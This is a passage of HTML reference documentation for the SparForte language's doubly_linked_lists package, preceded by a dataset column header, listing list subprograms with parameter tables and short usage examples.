code
stringlengths
3
1.01M
repo_name
stringlengths
5
116
path
stringlengths
3
311
language
stringclasses
30 values
license
stringclasses
15 values
size
int64
3
1.01M
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/transitional.dtd"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="description" CONTENT="SparForte language documentation"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SparForte - Packages - Doubly Linked Lists</title> <link rel="StyleSheet" type="text/css" media="screen" href="art/sparforte.css"> <link rel="index" href="packages.html" /> <link rel="prev" href="pkg_cgi.html" /> <link rel="next" href="pkg_cmdline.html" /> </head> <body bgcolor="#FFFFFF"><a name="top"></a> <table width="100%" cellspacing="0" cellpadding="0" summary="page layout"> <tr><td align="left"><img src="art/sparforte.png" alt="[SparForte]"></td><td align="right"><img src="art/header_cloud.png" alt="[Banner]"></td></tr> <tr><td background="art/header_border.png" height="10" colspan="2"></td></tr> <tr><td colspan="2"><table width="100%" border="0" cellspacing="0" cellpadding="0" summary="top menu"> <tr> <td width="10"><img src="art/menu_left.png" alt="[Top Main Menu]"></td> <td width="85" background="art/menu_border.png" align="center"><a class="menutext" href="intro_preface.html">Intro</a></td> <td background="art/menu_border.png" align="center"><span class="menutext">|</span></td> <td width="85" background="art/menu_border.png" align="center"><a class="menutext" href="tutorial_1.html">Tutorials</a></td> <td background="art/menu_border.png" align="center"><span class="menutext">|</span></td> <td width="85" background="art/menu_border.png" align="center"><a class="menutext" href="ref_adascript.html">Reference</a></td> <td background="art/menu_border.png" align="center"><span class="menutext">|</span></td> <td width="85" background="art/menu_border.png" align="center"><a class="menutext" href="packages.html"><b>Packages</b></a></td> <td background="art/menu_border.png" align="center"><span class="menutext">|</span></td> <td width="85" background="art/menu_border.png" align="center"><a class="menutext" href="../examples/index.html">Examples</a></td> <td background="art/menu_border.png" align="center"><span class="menutext">|</span></td> <td width="85" background="art/menu_border.png" align="center"><a class="menutext" href="cont_vision.html">Contributors</a></td> <td background="art/menu_border.png" align="center">&nbsp;</td> <td background="art/menu_border.png" align="right"><a href="pkg_dirops.html"><img src="art/left_arrow.png" width="27" height="24" alt="[Back Page]" border="0"></a><span class="menutext">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><a href="pkg_dht.html"><img src="art/right_arrow.png" width="27" height="24" alt="[Next Page]" border="0"></a></td> <td background="art/menu_border.png">&nbsp;</td> </tr></table></td></tr> </table> <noscript> <a href="#submenu">[Jump to Submenu]</a> <hr /> </noscript> <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="content and right submenu"> <tr> <td align="left" valign="top"> <!-- Content Area --> <h2><a NAME="4.14"></a>Doubly_Linked_Lists Package</h2> <p>The SparForte built-in doubly_linked_lists package contains subprograms to create and manage ordered, unindexed, linked lists.</p> <p><u>Introduced</u>: SparForte 1.5<br> <p><u>GCC Ada Equivalent</u>: Ada.Containers.Doubly_Linked_Lists<br> <center> <div class="code"> <pre> <a href="#doubly_linked_lists.append">append( l, e )</a> <a href="#doubly_linked_lists.assemble">s := assemble( l [,d [,f]] )</a> <a href="#doubly_linked_lists.assign">assign( l1, l2 )</a> <a href="#doubly_linked_lists.clear">clear( l )</a> <a href="#doubly_linked_lists.contains">b := contains( l, e )</a> <a href="#doubly_linked_lists.delete">delete( l, c [,n] )</a> <a href="#doubly_linked_lists.delete_first">delete_first( l [,n] )</a> <a href="#doubly_linked_lists.delete_last">delete_last( l [,n] )</a> <a href="#doubly_linked_lists.disassemble">disassemble( s, l [,d [,f] ] )</a> <a href="#doubly_linked_lists.element">e := element( c )</a> <a href="#doubly_linked_lists.find">find( l, e, c )</a> <a href="#doubly_linked_lists.first">first( l, c )</a> <a href="#doubly_linked_lists.first_element">e := first_element( l )</a> <a href="#doubly_linked_lists.flip">flip( l )</a> <a href="#doubly_linked_lists.has_element">b := has_element( c )</a> <a href="#doubly_linked_lists.insert_before">insert_before( l, c [, n] ) | ( l, c, e [, n] )</a> <a href="#doubly_linked_lists.insert_before_and_mark">insert_before_and_mark( l, c, c2 [, n] ) | ( l, c, e, c2 [, n] )</a> <a href="#doubly_linked_lists.is_empty">b := is_empty( l )</a> <a href="#doubly_linked_lists.last_element">e := last_element( l )</a> <a href="#doubly_linked_lists.length">n := length( l )</a> <a href="#doubly_linked_lists.move">move( l1, l2 )</a> <a href="#doubly_linked_lists.next">next( c )</a> <a href="#doubly_linked_lists.parcel">parcel( s, w, l )</a> <a href="#doubly_linked_lists.prepend">prepend( l, e )</a> <a href="#doubly_linked_lists.previous">previous( c )</a> <a href="#doubly_linked_lists.replace_element">replace_element( l, c, e )</a> <a href="#doubly_linked_lists.reverse_elements">reverse_elements( l )</a> <a href="#doubly_linked_lists.reverse_find">reverse_find( l, e, c )</a> <a href="#doubly_linked_lists.splice">splice( l1, c, l2 [,c2] ) | ( l1, c, c2 )</a> <a href="#doubly_linked_lists.swap">swap( l, c1, c2 )</a> <a href="#doubly_linked_lists.swap_links">swap_links( l, c1, c2 )</a> </pre> &nbsp;<br> <div class="code_caption"> <b>Help Command</b>: Contents of the doubly_linked_lists package </div> </div> </center> <p>A list is a dynamic collection of list nodes. Each node stores a value called an element. Each list can only hold one kind of element (though it can be a universal type). The programmer can traverse forward or reverse through the list. List positions are designated by cursors.</p> <p>This package includes four new types:</p> <ul> <li><b>containers.count_type</b></li> <li><b>containers.hash_type</b></li> <li><b>doubly_linked_lists.list( <i>type</i> )</b></li> <li><b>doubly_linked_lists.cursor( <i>type</i> )</b></li> </ul> <center> <div class="code"> <pre> <b>=&gt;</b> type fruit_string is new string <b>=&gt;</b> fruit : doubly_linked_lists.list( fruit_string ) <b>=&gt;</b> doubly_linked_lists.append( fruit, "apple" ); <b>=&gt;</b> doubly_linked_lists.append( fruit, "blueberry" ) @ ( fruit, "cherry" ) <b>=&gt;</b> ? doubly_linked_lists.length( fruit ) 3 <b>=&gt;</b> ? doubly_linked_lists.first_element( fruit ) apple <b>=&gt;</b> ? doubly_linked_lists.contains( fruit, "pineapple" ) false <b>=&gt;</b> c : doubly_linked_lists.cursor( fruit_string ) <b>=&gt;</b> doubly_linked_lists.first( fruit, c ) <b>=&gt;</b> doubly_linked_lists.next( c ) <b>=&gt;</b> ? doubly_linked_lists.element( c ) blueberry </pre> &nbsp;<br> <div class="code_caption"> <b>Example</b>: Using doubly_linked_lists to create a list of fruit </div> </div> </center> <a name="doubly_linked_lists.append"></a><h3>doubly_linked_lists.append( l, e )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Queue list element e at the end of the list.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.append( l, "zebra" )</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>e</span></td> <td><span>in</span></td> <td><span><i>list element type</i></span></td> <td><span>required</span></td> <td><span>the element to queue</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element is the wrong type<br> An exception is raised if out of memory</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.prepend</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Append</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.assemble"></a><h3>s := doubly_linked_lists.assemble( l [,d [,f]] )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Apply strings.image to each element in the list. Concatenate the strings together to form a new string, separated by delimiter string d and ending with optional string f. An list will result in an empty string (but f will be appended even if the string is empty).</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">echo( doubly_linked_lists.assemble( lines ) ) | wc;</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>s</span></td> <td><span>return value</span></td> <td><span>universal_string</span></td> <td><span>required</span></td> <td><span>the string image of the list</span></td> </tr><tr> <td><span>l</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>d</span></td> <td><span>in</span></td> <td><span>universal_string</span></td> <td><span>ASCII.LF</span></td> <td><span>the delimiter</span></td> </tr><tr> <td><span>f</span></td> <td><span>in</span></td> <td><span>universal_string</span></td> <td><span>null_unbounded_string</span></td> <td><span>the end of the string</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if out of memory</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.disassemble</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: N/A (AdaScript extension)</p> <p>PHP: implode</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.assign"></a><h3>doubly_linked_lists.assign( l1, l2 )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Overwrite the contents of list l1 with a copy of l2.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.assign( destination_list, source_list )</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l1</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the destination list</span></td> </tr><tr> <td><span>l2</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the source list</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element type is the wrong type<br> An exception is raised if out of memory</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.move</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Assign</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.clear"></a><h3>doubly_linked_lists.clear( l )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Delete the contents of list l.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.clear( animal_list )</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list to erase</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.delete</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Clear</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.contains"></a><h3>b := doubly_linked_lists.contains( l, e )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Return true if the list contains list element e.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">if doubly_linked_lists.contains( animal_list, "hyena" ) then ...</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>b</span></td> <td><span>return value</span></td> <td><span>boolean</span></td> <td><span>required</span></td> <td><span>true if in list</span></td> </tr><tr> <td><span>l</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>e</span></td> <td><span>in</span></td> <td><span><i>list element type</i></span></td> <td><span>required</span></td> <td><span>the element to find</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element is the wrong type</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.find<br>doubly_linked_lists.reverse_find</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Contains</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.delete"></a><h3>doubly_linked_lists.delete( l, c,[, n] )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Remove the list element at cursor position c from the list. If n exists, remove n items instead of one</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.delete( animal_list, elephant_position )</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>c</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the position to delete</span></td> </tr><tr> <td><span>n</span></td> <td><span>in</span></td> <td><span>containers.count_type</span></td> <td><span>1</span></td> <td><span>the number of positions</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element type does not match</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.delete_first<br>doubly_linked_lists.delete_last</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Delete</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.delete_first"></a><h3>doubly_linked_lists.delete_first( l, [, n] )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Remove the list element from the start of the list. If n exists, remove n items instead of one.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.delete_first( animal_list )</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>n</span></td> <td><span>in</span></td> <td><span>containers.count_type</span></td> <td><span>1</span></td> <td><span>the number of positions</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if there are no more elements.</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.delete<br>doubly_linked_lists.delete_last</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Delete_First</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.delete_last"></a><h3>doubly_linked_lists.delete_last( l, [, n] )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Remove the list element from the end of the list. If n exists, remove n items instead of one.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.delete_last( animal_list )</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>n</span></td> <td><span>in</span></td> <td><span>containers.count_type</span></td> <td><span>1</span></td> <td><span>the number of positions</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if there are no more elements.</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.delete<br>doubly_linked_lists.delete_first</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Delete_Last</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.disassemble"></a><h3>doubly_linked_lists.disassemble( s, l, [,d [,f]] )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Convert the string to a list of strings. Each string is delimited by string d (default line feed) and optional string f will be removed from the end of the string before processing. An empty string will result in an empty list.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.disassemble( `ls;`, lines ) );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>s</span></td> <td><span>return value</span></td> <td><span>universal_string</span></td> <td><span>required</span></td> <td><span>the string image of the list</span></td> </tr><tr> <td><span>l</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>d</span></td> <td><span>in</span></td> <td><span>universal_string</span></td> <td><span>ASCII.LF</span></td> <td><span>the delimiter</span></td> </tr><tr> <td><span>f</span></td> <td><span>in</span></td> <td><span>universal_string</span></td> <td><span>null_unbounded_string</span></td> <td><span>the end of the string</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if out of memory</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.disassemble</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: N/A (AdaScript extension)</p> <p>PHP: explode</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.element"></a><h3>e := doubly_linked_lists.element( c )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Return the list element at the cursor.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">put_line( doubly_linked_lists.element( orca_position ) );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>e</span></td> <td><span>return value</span></td> <td><span><i>list element type</i></span></td> <td><span>required</span></td> <td><span>the element</span></td> </tr><tr> <td><span>c</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if there is no element</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Element</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.find"></a><h3>doubly_linked_lists.find( l, e, c )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Move the cursor to the location of e in the list Start from the beginning. doubly_linked_lists.has_element will be false if the element is not found.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.find( animal_list, "bear" );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>e</span></td> <td><span>in out</span></td> <td><span><i>list element type</i></span></td> <td><span>required</span></td> <td><span>the element to find</span></td> </tr><tr> <td><span>c</span></td> <td><span>int out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the position of the element</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element is the wrong type</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.reverse_find</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Find</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Ada version is a function.</p></td> </tr> </table> <a name="doubly_linked_lists.first"></a><h3>doubly_linked_lists.first( l, c )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Move the cursor to the first element in the list. doubly_linked_lists.has_element will be false if the list is empty.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_linked_lists.first( animal_list, the_cursor );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr><tr> <td><span>c</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if the element type is the wrong type<br> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.last</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.First</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>Ada version is a function.</p></td> </tr> </table> <a name="doubly_linked_lists.first_element"></a><h3>e := doubly_linked_lists.first_element( l )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Return the first list element.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">animal := doubly_listed_lists.first_element( animal_list );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>e</span></td> <td><span>return value</span></td> <td><span><i>list element type</i></span></td> <td><span>required</span></td> <td><span>the element</span></td> </tr><tr> <td><span>l</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if there is no element</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.last_element</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.First_Element</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.flip"></a><h3>doubly_linked_lists.flip( l )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Reverse the order of the list elements.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">doubly_listed_lists.flip( animal_list );</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>l</span></td> <td><span>in out</span></td> <td><span>doubly_linked_lists.list</span></td> <td><span>required</span></td> <td><span>the list</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>doubly_linked_lists.reverse_elements</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Reverse_Elements</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>This is a renaming of reverse_elements to correspond with arrays.flip.</p></td> </tr> </table> <a name="doubly_linked_lists.has_element"></a><h3>b := doubly_linked_lists.has_element( c )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>True if the cursor is positioned at a list element.</p> </tr><tr> <td><p class="pkg_label">Example</p></td><td><p><span class="code">if doubly_listed_lists.has_element( list_position ) then ...</span></p></td> </tr><tr> <td><p class="pkg_label">Parameters</p></td> <td><table CELLSPACING=0 CELLPADDING=0 WIDTH="100%" NOSAVE border="0" > <tr> <td><span class="pkg_param">Param</span></td> <td><span class="pkg_param">Mode</span></td> <td><span class="pkg_param">Type</span></td> <td><span class="pkg_param">Default</span></td> <td><span class="pkg_param">Description</span></td> </tr><tr> <td><span>b</span></td> <td><span>return value</span></td> <td><span>boolean</span></td> <td><span>required</span></td> <td><span>true if there's an element</span></td> </tr><tr> <td><span>c</span></td> <td><span>in</span></td> <td><span>doubly_linked_lists.cursor</span></td> <td><span>required</span></td> <td><span>the cursor</span></td> </tr> </table></td> </tr><tr> <td><p class="pkg_label">Exceptions</p></td> <td><p>An exception is raised if there is no element</p></td> </tr><tr> <td><p class="pkg_label">See Also</p></td> <td><p>-</p></td> </tr><tr> <td><p class="pkg_label">Compare With</p></td> <td><p>Ada: Ada.Containers.Doubly_Linked_Lists.Has_Element</p></td> </tr><tr> <td><p class="pkg_label">Implementation Note</p></td> <td><p>-</p></td> </tr> </table> <a name="doubly_linked_lists.insert_before"></a><h3>doubly_linked_lists.insert_before( l, c [, n] ) | ( l, c, e [, n] )</h3> <table cellspacing="0" cellpadding="0" width="98%" summary="package call"> <tr> <td width="15%">&nbsp;</td> <td><p>Insert element e before the cursor c. If no element is given, a node is inserted with an unknown element. If the cursor does not point 